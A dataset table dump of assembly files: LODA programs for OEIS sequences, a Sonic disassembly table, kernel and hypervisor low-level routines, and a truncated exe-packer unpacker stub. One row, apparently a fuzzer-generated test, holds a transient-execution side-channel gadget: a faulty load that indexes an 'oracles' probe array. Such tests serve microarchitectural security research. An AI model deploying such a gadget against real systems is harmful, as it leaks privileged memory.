source
stringclasses 1
value | id
stringlengths 40
40
| language
stringclasses 2
values | date
stringclasses 1
value | author
stringclasses 1
value | url
stringclasses 1
value | title
stringclasses 1
value | extra
stringlengths 528
1.53k
| quality_signals
stringlengths 139
178
| text
stringlengths 6
1.05M
|
---|---|---|---|---|---|---|---|---|---|
TheStack | c87082ff821ad6a9e3fc21a7d3c4497d2fe680b5 | Assemblycode:Assembly | {"size": 693, "ext": "asm", "max_stars_repo_path": "oeis/027/A027024.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/027/A027024.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/027/A027024.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"} | {"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 77.0, "max_line_length": 498, "alphanum_fraction": 0.8167388167} | ; A027024: a(n) = T(n,n+2), T given by A027023.
; Submitted by Jamie Morken(s4)
; 1,5,13,27,53,101,189,351,649,1197,2205,4059,7469,13741,25277,46495,85521,157301,289325,532155,978789,1800277,3311229,6090303,11201817,20603357,37895485,69700667,128199517,235795677,433695869,797691071,1467182625,2698569573,4963443277,9129195483,16791208341,30883847109,56804250941,104479306399,192167404457,353450961805,650097672669,1195716038939,2199264673421,4045078385037,7440059097405,13684402155871,25169539638321,46294000891605,85147942685805,156611483215739,288053426793157,529812852694709
add $0,2
seq $0,8937 ; a(n) = Sum_{k=0..n} T(k) where T(n) are the tribonacci numbers A000073.
mul $0,2
sub $0,3
|
||||
TheStack | 3b4e41d6f54c85e167f86dbd637e8b8d686a475c | Assemblycode:Assembly | {"size": 789, "ext": "asm", "max_stars_repo_path": "Working Disassembly/Levels/LRZ/Misc Object Data/Map - Solid Moving Platforms.asm", "max_stars_repo_name": "TeamASM-Blur/Sonic-3-Blue-Balls-Edition", "max_stars_repo_stars_event_min_datetime": "2021-07-09T08:17:56.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-27T19:57:47.000Z", "max_issues_repo_path": "Working Disassembly/Levels/LRZ/Misc Object Data/Map - Solid Moving Platforms.asm", "max_issues_repo_name": "TeamASM-Blur/Sonic-3-Blue-Balls-Edition", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Working Disassembly/Levels/LRZ/Misc Object Data/Map - Solid Moving Platforms.asm", "max_forks_repo_name": "TeamASM-Blur/Sonic-3-Blue-Balls-Edition", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": 5, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 35.8636363636, "max_line_length": 48, "alphanum_fraction": 0.4448669202} | dc.w word_259C8-Map_LRZSolidMovingPlatforms
dc.w word_259FA-Map_LRZSolidMovingPlatforms
word_259C8: dc.w 8 ; DATA XREF: ROM:000259C4o
dc.b $E0, $D, $20, $60, $FF, $E0
dc.b $E0, $D, $28, $60, 0, 0
dc.b $F0, $D, $20, $68, $FF, $E0
dc.b $F0, $D, $28, $68, 0, 0
dc.b 0, $D, $20, $70, $FF, $E0
dc.b 0, $D, $28, $70, 0, 0
dc.b $10, $D, $30, $60, $FF, $E0
dc.b $10, $D, $38, $60, 0, 0
word_259FA: dc.w 8 ; DATA XREF: ROM:000259C4o
dc.b $E0, $D, 0, 8, $FF, $E0
dc.b $E0, $D, 8, 8, 0, 0
dc.b $F0, $D, 0, $10, $FF, $E0
dc.b $F0, $D, 8, $10, 0, 0
dc.b 0, $D, 0, $18, $FF, $E0
dc.b 0, $D, 8, $18, 0, 0
dc.b $10, $D, 0, $20, $FF, $E0
dc.b $10, $D, 0, $28, 0, 0
dc.b $20, $10, 0, 0
|
||||
TheStack | 91e263caf9b6ddf9d1ae50ebc64f1d72cef41cc8 | Assemblycode:Assembly | {"size": 1431, "ext": "asm", "max_stars_repo_path": "programs/oeis/140/A140236.asm", "max_stars_repo_name": "neoneye/loda", "max_stars_repo_stars_event_min_datetime": "2018-02-06T19:19:31.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-17T21:53:31.000Z", "max_issues_repo_path": "programs/oeis/140/A140236.asm", "max_issues_repo_name": "neoneye/loda", "max_issues_repo_issues_event_min_datetime": "2021-02-22T19:00:34.000Z", "max_issues_repo_issues_event_max_datetime": "2021-08-28T10:47:47.000Z", "max_forks_repo_path": "programs/oeis/140/A140236.asm", "max_forks_repo_name": "neoneye/loda", "max_forks_repo_forks_event_min_datetime": "2021-02-24T21:14:16.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-09T19:48:05.000Z"} | {"max_stars_count": 22, "max_issues_count": 41, "max_forks_count": 5, "avg_line_length": 159.0, "max_line_length": 1266, "alphanum_fraction": 0.8839972048} | ; A140236: Double tetrahedral numbers (or double pyramidal numbers): a(n) = k(k+1)(k+2)/6 where k = n(n+1)(n+2)/6.
; 0,1,20,220,1540,7770,30856,102340,295240,762355,1798940,3939936,8104460,15803060,29426320,52636760,90889616,152112005,247574180,392991060,609896980,927341646,1383960600,2030479100,2932714200,4175145975,5865135276,8137872120,11162145820,15147035240,20349625120,27083862256,35730673440,46749475465,60691216180,78213094540,100095116836,127258655810,160787189160,201949404020,252224864360,313332448891,387261777980,476307859280,583109193260,710689591580,862503973296,1042488416200,1255114753200,1505450016525,1799221045700,2142884588676,2543703239220,3009827567670,3550384816440,4175574546220,4896771633656,5726637036415,6679236756940,7770169451880,9016703150140,10437921558736,12054880452160,13890774657760,15971116166720,18323923917585,20979925816916,23972773579580,27339270989380,31119616199210,35357658708680,40101171676196,45402140241800,51317066556675,57907292235100,65239338964800,73385268032076,82423059538820,92437012109520,103518163907640,115764735802320,129282597548181,144185757863140,160596879311540,178647818922580,198480195496990,220245984578136,244108142087260,270241257646360,298832238636295,330081026062060,364201343321816,401421479001180,441985104839480,486152130040160,534199593123280,586422592544096,643135257328025,704671758998900,771387366104300
sub $2,$0
bin $2,3
bin $2,3
sub $1,$2
mov $0,$1
|
||||
TheStack | 1f772d9818597b43e935f9fb641538456a9f3d6b | Assemblycode:Assembly | {"size": 5111, "ext": "asm", "max_stars_repo_path": "Transynther/x86/_processed/AVXALIGN/_st_/i7-8650U_0xd2.log_13758_1153.asm", "max_stars_repo_name": "ljhsiun2/medusa", "max_stars_repo_stars_event_min_datetime": "2020-08-13T19:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:22:51.000Z", "max_issues_repo_path": "Transynther/x86/_processed/AVXALIGN/_st_/i7-8650U_0xd2.log_13758_1153.asm", "max_issues_repo_name": "ljhsiun2/medusa", "max_issues_repo_issues_event_min_datetime": "2021-04-29T06:29:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-13T21:02:30.000Z", "max_forks_repo_path": "Transynther/x86/_processed/AVXALIGN/_st_/i7-8650U_0xd2.log_13758_1153.asm", "max_forks_repo_name": "ljhsiun2/medusa", "max_forks_repo_forks_event_min_datetime": "2020-07-14T17:07:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T01:12:22.000Z"} | {"max_stars_count": 9, "max_issues_count": 1, "max_forks_count": 3, "avg_line_length": 46.4636363636, "max_line_length": 2999, "alphanum_fraction": 0.6579925651} | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r14
push %r15
push %rax
push %rbp
push %rsi
lea addresses_D_ht+0x137a8, %rax
nop
nop
nop
xor %rsi, %rsi
movb (%rax), %r12b
xor $40199, %r12
lea addresses_WC_ht+0x1dcc8, %rbp
dec %r15
vmovups (%rbp), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $0, %xmm3, %rsi
nop
sub $48935, %rax
lea addresses_WT_ht+0x1d48, %rax
nop
nop
nop
cmp %r14, %r14
mov $0x6162636465666768, %rsi
movq %rsi, %xmm0
vmovups %ymm0, (%rax)
sub $22282, %r14
pop %rsi
pop %rbp
pop %rax
pop %r15
pop %r14
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r15
push %r9
push %rax
push %rbp
push %rcx
push %rsi
// Load
lea addresses_RW+0xbce8, %rcx
clflush (%rcx)
nop
nop
sub $64559, %rax
mov (%rcx), %si
nop
nop
nop
nop
cmp $5052, %r11
// Store
lea addresses_A+0x90e8, %rbp
nop
add %r9, %r9
mov $0x5152535455565758, %rsi
movq %rsi, %xmm6
movups %xmm6, (%rbp)
nop
nop
nop
nop
dec %r15
// Faulty Load
lea addresses_normal+0xa8e8, %r9
nop
nop
cmp $11222, %rcx
movb (%r9), %r15b
lea oracles, %r9
and $0xff, %r15
shlq $12, %r15
mov (%r9,%r15,1), %r15
pop %rsi
pop %rcx
pop %rbp
pop %rax
pop %r9
pop %r15
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 1, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 1, 'AVXalign': True, 'NT': True, 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'34': 13758}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
|
||||
TheStack | 30275c694147d22c3ecb67b62ecd5ba6ebbb6ae4 | Assemblycode:Assembly | {"size": 2060, "ext": "asm", "max_stars_repo_path": "asm/smp.asm", "max_stars_repo_name": "lavenderos/lvk", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "asm/smp.asm", "max_issues_repo_name": "lavenderos/lvk", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "asm/smp.asm", "max_forks_repo_name": "lavenderos/lvk", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 18.3928571429, "max_line_length": 70, "alphanum_fraction": 0.6485436893} | global smp_prepare_trampoline
global smp_init_cpu0_local
global smp_check_ap_flag
extern syscall_entry
extern load_tss
section .data
%define smp_trampoline_size smp_trampoline_end - smp_trampoline
smp_trampoline: incbin "real/smp_trampoline.bin"
smp_trampoline_end:
section .text
bits 64
%define TRAMPOLINE_ADDR 0x1000
%define PAGE_SIZE 4096
; Store trampoline data in low memory and return the page index of the
; trampoline code.
smp_prepare_trampoline:
; entry point in rdi, page table in rsi
; stack pointer in rdx, cpu local in rcx
; tss in r8
; prepare variables
mov byte [0x510], 0
mov qword [0x520], rdi
mov qword [0x540], rsi
mov qword [0x550], rdx
mov qword [0x560], rcx
mov qword [0x570], syscall_entry
sgdt [0x580]
sidt [0x590]
; Copy trampoline blob to 0x1000
mov rsi, smp_trampoline
mov rdi, TRAMPOLINE_ADDR
mov rcx, smp_trampoline_size
rep movsb
mov rdi, r8
call load_tss
mov rax, TRAMPOLINE_ADDR / PAGE_SIZE
ret
smp_check_ap_flag:
xor rax, rax
mov al, byte [0x510]
ret
smp_init_cpu0_local:
; Load GS with the CPU local struct base address
mov ax, 0x1b
mov fs, ax
mov gs, ax
mov rcx, 0xc0000101
mov eax, edi
shr rdi, 32
mov edx, edi
wrmsr
; enable SSE
mov rax, cr0
and al, 0xfb
or al, 0x02
mov cr0, rax
mov rax, cr4
or ax, 3 << 9
mov cr4, rax
; set up the PAT properly
mov rcx, 0x277
rdmsr
mov edx, 0x0105 ; write-protect and write-combining
wrmsr
mov rdi, rsi
call load_tss
mov ax, 0x38
ltr ax
; enable syscall in EFER
mov rcx, 0xc0000080
rdmsr
or al, 1
wrmsr
; setup syscall MSRs
mov rcx, 0xc0000081
mov rdx, 0x00130008
mov rax, 0x00000000
wrmsr
mov rcx, 0xc0000082
mov rax, syscall_entry
mov rdx, rax
shr rdx, 32
mov eax, eax
wrmsr
mov rcx, 0xc0000084
mov rax, ~(0x002)
xor rdx, rdx
not rdx
wrmsr
ret
|
||||
TheStack | 57129a50b1c78d473ef65c99e3f0ad7fc8d349c9 | Assemblycode:Assembly | {"size": 4858, "ext": "asm", "max_stars_repo_path": "src/xpf_core/windows/kpcr64.asm", "max_stars_repo_name": "assqingt/NoirVisor", "max_stars_repo_stars_event_min_datetime": "2019-10-17T14:11:55.000Z", "max_stars_repo_stars_event_max_datetime": "2019-10-17T14:11:55.000Z", "max_issues_repo_path": "src/xpf_core/windows/kpcr64.asm", "max_issues_repo_name": "morelli690/_VMM_HV_NoirVisor", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/xpf_core/windows/kpcr64.asm", "max_forks_repo_name": "morelli690/_VMM_HV_NoirVisor", "max_forks_repo_forks_event_min_datetime": "2019-10-28T17:48:58.000Z", "max_forks_repo_forks_event_max_datetime": "2019-10-28T17:48:58.000Z"} | {"max_stars_count": 1, "max_issues_count": null, "max_forks_count": 1, "avg_line_length": 20.2416666667, "max_line_length": 73, "alphanum_fraction": 0.7295183203} | ; NoirVisor - Hardware-Accelerated Hypervisor solution
;
; Copyright 2018-2019, Zero Tang. All rights reserved.
;
; This file saves processor states for 64-bit processors.
;
; This program is distributed in the hope that it will be successful, but
; without any warranty (no matter implied warranty of merchantability or
; fitness for a particular purpose, etc.).
;
; File location: ./xpf_core/windows/kpcr64.asm
.code
noir_get_segment_attributes proc
and rdx,0fffffffffffffff8h
add rcx,rdx
mov ax,word ptr[rcx+5]
and ax,0f0ffh
ret
noir_get_segment_attributes endp
noir_save_processor_state proc
; Function start. Initialize shadow space on stack.
sub rsp,20h
push rbx
mov rbx,rcx
; Initialize the Structure with zero.
push rdi
cld
mov rdi,rcx
mov rcx,2ch
xor rax,rax
rep stosq
pop rdi
; Save cs,ds,es,fs,gs,ss Selectors
mov word ptr[rbx],cs
mov word ptr[rbx+10h],ds
mov word ptr[rbx+20h],es
mov word ptr[rbx+30h],fs
mov word ptr[rbx+40h],gs
mov word ptr[rbx+50h],ss
; Save cs,ds,es,fs,gs,ss Limits
lsl eax,word ptr[rbx]
mov dword ptr[rbx+04h],eax
lsl eax,word ptr[rbx+10h]
mov dword ptr[rbx+14h],eax
lsl eax,word ptr[rbx+20h]
mov dword ptr[rbx+24h],eax
lsl eax,word ptr[rbx+30h]
mov dword ptr[rbx+34h],eax
lsl eax,word ptr[rbx+40h]
mov dword ptr[rbx+44h],eax
lsl eax,word ptr[rbx+50h]
mov dword ptr[rbx+54h],eax
; Save Task Register State
str word ptr[rbx+60h]
lsl eax,word ptr[rbx+60h]
mov dword ptr[rbx+64h],eax
mov rax,qword ptr gs:[8h]
mov qword ptr[rbx+68h],rax
; Save Global Descriptor Table Register
sgdt fword ptr[rbx+76h]
shr dword ptr[rbx+74h],16
; Save Interrupt Descriptor Table Register
sidt fword ptr[rbx+86h]
shr dword ptr[rbx+84h],16
; Save Segment Attributes - CS
mov rcx,qword ptr[rbx+78h]
mov dx,word ptr[rbx]
call noir_get_segment_attributes
mov word ptr[rbx+2h],ax
; Save Segment Attributes - DS
mov rcx,qword ptr[rbx+78h]
mov dx,word ptr[rbx+10h]
call noir_get_segment_attributes
mov word ptr[rbx+12h],ax
; Save Segment Attributes - ES
mov rcx,qword ptr[rbx+78h]
mov dx,word ptr[rbx+20h]
call noir_get_segment_attributes
mov word ptr[rbx+22h],ax
; Save Segment Attributes - FS
mov rcx,qword ptr[rbx+78h]
mov dx,word ptr[rbx+30h]
call noir_get_segment_attributes
mov word ptr[rbx+32h],ax
; Save Segment Attributes - GS
mov rcx,qword ptr[rbx+78h]
mov dx,word ptr[rbx+40h]
call noir_get_segment_attributes
mov word ptr[rbx+42h],ax
; Save Segment Attributes - SS
mov rcx,qword ptr[rbx+78h]
mov dx,word ptr[rbx+50h]
call noir_get_segment_attributes
mov word ptr[rbx+52h],ax
; Save Segment Attributes - TR
mov rcx,qword ptr[rbx+78h]
mov dx,word ptr[rbx+60h]
call noir_get_segment_attributes
mov word ptr[rbx+62h],ax
; Save LDT Register Selector
sldt word ptr[rbx+90h]
; Save Control Registers
mov rax,cr0
mov qword ptr[rbx+0a0h],rax
mov rax,cr2
mov qword ptr[rbx+0a8h],rax
mov rax,cr3
mov qword ptr[rbx+0b0h],rax
mov rax,cr4
mov qword ptr[rbx+0b8h],rax
mov rax,cr8
mov qword ptr[rbx+0c0h],rax
; Save Debug Registers
mov rax,dr0
mov qword ptr[rbx+0c8h],rax
mov rax,dr1
mov qword ptr[rbx+0d0h],rax
mov rax,dr2
mov qword ptr[rbx+0d8h],rax
mov rax,dr3
mov qword ptr[rbx+0e0h],rax
mov rax,dr6
mov qword ptr[rbx+0e8h],rax
mov rax,dr7
mov qword ptr[rbx+0f0h],rax
; Save Model Specific Registers
; Save SysEnter_CS
mov ecx,174h
rdmsr
mov dword ptr[rbx+0f8h],eax
mov dword ptr[rbx+0fch],edx
; Save SysEnter_ESP
inc ecx
rdmsr
mov dword ptr[rbx+100h],eax
mov dword ptr[rbx+104h],edx
; Save SysEnter_EIP
inc ecx
rdmsr
mov dword ptr[rbx+108h],eax
mov dword ptr[rbx+10ch],edx
; Save Debug Control MSR
mov ecx,1d9h
rdmsr
mov dword ptr[rbx+110h],eax
mov dword ptr[rbx+114h],edx
; Save PAT
mov ecx,277h
rdmsr
mov dword ptr[rbx+118h],eax
mov dword ptr[rbx+11ch],edx
; Save EFER
mov ecx,0c0000080h
rdmsr
mov dword ptr[rbx+120h],eax
mov dword ptr[rbx+124h],edx
; Save STAR
inc ecx
rdmsr
mov dword ptr[rbx+128h],eax
mov dword ptr[rbx+12ch],edx
; Save LSTAR
inc ecx
rdmsr
mov dword ptr[rbx+130h],eax
mov dword ptr[rbx+134h],edx
; Save CSTAR
inc ecx
rdmsr
mov dword ptr[rbx+138h],eax
mov dword ptr[rbx+13ch],edx
; Save SFMASK
inc ecx
rdmsr
mov dword ptr[rbx+144h],edx
mov dword ptr[rbx+140h],eax
; Save FS Base
mov ecx,0c0000100h
rdmsr
shl rdx,32
or rdx,rax
mov qword ptr[rbx+148h],rdx ; Save to MSR-State Area
mov qword ptr[rbx+38h],rdx ; Save to Segment State Area
; Save GS Base
inc ecx
rdmsr
shl rdx,32
or rdx,rax
mov qword ptr[rbx+150h],rdx ; Save to MSR-State Area
mov qword ptr[rbx+48h],rdx ; Save to Segment State Area
; Save GS Swap
inc ecx
rdmsr
mov dword ptr[rbx+158h],eax
mov dword ptr[rbx+15ch],edx
; MSR Saving is Over
pop rbx
; Function end. Finalize shadow space on stack.
add rsp,20h
ret
noir_save_processor_state endp
end |
||||
TheStack | 4dde0aade771b33f7437d9243a3bdff9fcca7fec | Assemblycode:Assembly | {"size": 479, "ext": "asm", "max_stars_repo_path": "programs/oeis/244/A244953.asm", "max_stars_repo_name": "neoneye/loda", "max_stars_repo_stars_event_min_datetime": "2018-02-06T19:19:31.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-17T21:53:31.000Z", "max_issues_repo_path": "programs/oeis/244/A244953.asm", "max_issues_repo_name": "neoneye/loda", "max_issues_repo_issues_event_min_datetime": "2021-02-22T19:00:34.000Z", "max_issues_repo_issues_event_max_datetime": "2021-08-28T10:47:47.000Z", "max_forks_repo_path": "programs/oeis/244/A244953.asm", "max_forks_repo_name": "neoneye/loda", "max_forks_repo_forks_event_min_datetime": "2021-02-24T21:14:16.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-09T19:48:05.000Z"} | {"max_stars_count": 22, "max_issues_count": 41, "max_forks_count": 5, "avg_line_length": 43.5454545455, "max_line_length": 329, "alphanum_fraction": 0.6325678497} | ; A244953: a(n) = Sum_{i=0..n} (-i mod 4).
; 0,3,5,6,6,9,11,12,12,15,17,18,18,21,23,24,24,27,29,30,30,33,35,36,36,39,41,42,42,45,47,48,48,51,53,54,54,57,59,60,60,63,65,66,66,69,71,72,72,75,77,78,78,81,83,84,84,87,89,90,90,93,95,96,96,99,101,102,102,105,107,108,108,111,113,114,114,117,119,120,120,123,125,126,126,129,131,132,132,135,137,138,138,141,143,144,144,147,149,150
lpb $0
mov $2,$0
sub $0,1
seq $2,158459 ; Period 4: repeat [0, 3, 2, 1].
add $1,$2
lpe
mov $0,$1
|
||||
TheStack | 74ebed57713d928059e733699ffda46258a6e5ae | Assemblycode:Assembly | {"size": 241, "ext": "asm", "max_stars_repo_path": "oeis/001/A001736.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/001/A001736.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/001/A001736.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"} | {"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 12.6842105263, "max_line_length": 31, "alphanum_fraction": 0.5186721992} | ; A001736: 4 in base 10-n.
; Submitted by Jamie Morken(s4)
; 4,4,4,4,4,4,10,11,100,1111
lpb $0
mov $2,$0
mod $2,10
lpb $0
mul $0,$2
div $0,10
sub $0,1
add $3,$1
mul $1,10
add $1,$2
lpe
lpe
mov $0,$3
add $0,4
|
||||
TheStack | a464b53ccd66ca1df5e24dbbad68be67a5cb754b | Assemblycode:Assembly | {"size": 662, "ext": "asm", "max_stars_repo_path": "oeis/325/A325829.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/325/A325829.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/325/A325829.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"} | {"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 28.7826086957, "max_line_length": 294, "alphanum_fraction": 0.6450151057} | ; A325829: "Sloping nonary numbers": write numbers in nonary under each other (right-justified), read diagonals in upward direction, convert to decimal.
; Submitted by Christian Krause
; 0,1,2,3,4,5,6,7,17,9,10,11,12,13,14,15,16,26,18,19,20,21,22,23,24,25,35,27,28,29,30,31,32,33,34,44,36,37,38,39,40,41,42,43,53,45,46,47,48,49,50,51,52,62,54,55,56,57,58,59,60,61,71,63,64,65,66,67,68,69,70,80,72,73,74,75,76,77,78,160,89,81,82,83,84,85,86,87,88,98,90,91,92,93,94,95,96,97,107,99
add $0,1
mov $1,$0
mov $2,$0
div $2,2
mov $4,1
lpb $2
mul $4,9
mov $3,$4
mov $5,$0
add $0,1
mod $5,$4
cmp $5,0
mul $3,$5
add $1,$3
div $2,9
lpe
mov $0,$1
sub $0,1
|
||||
TheStack | 8e65571e9d6a4199acd3f002f84ef77ce9316294 | Assemblycode:Assembly | {"size": 10897, "ext": "asm", "max_stars_repo_path": "mudpack/plugins/lzma/lzma_nasm.asm", "max_stars_repo_name": "layerfsd/mupack", "max_stars_repo_stars_event_min_datetime": "2019-04-19T05:13:57.000Z", "max_stars_repo_stars_event_max_datetime": "2019-04-19T05:13:57.000Z", "max_issues_repo_path": "mudpack/plugins/lzma/lzma_nasm.asm", "max_issues_repo_name": "layerfsd/mupack", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "mudpack/plugins/lzma/lzma_nasm.asm", "max_forks_repo_name": "layerfsd/mupack", "max_forks_repo_forks_event_min_datetime": "2019-11-25T12:16:00.000Z", "max_forks_repo_forks_event_max_datetime": "2019-11-25T12:16:00.000Z"} | {"max_stars_count": 1, "max_issues_count": null, "max_forks_count": 1, "avg_line_length": 14.8866120219, "max_line_length": 63, "alphanum_fraction": 0.721482977} | SECTION .text
global _get_unpackersize
global _get_unpackerptr
_get_unpackersize:
mov eax, unpacker_end - unpacker_start
ret
_get_unpackerptr:
mov eax, unpacker_start
ret
unpacker_start:
push ebp
mov ebp,esp
sub esp,30h ; <- Allocating local variable space
pushad ; <- Save our registers onto the stack
xor eax,eax
inc eax
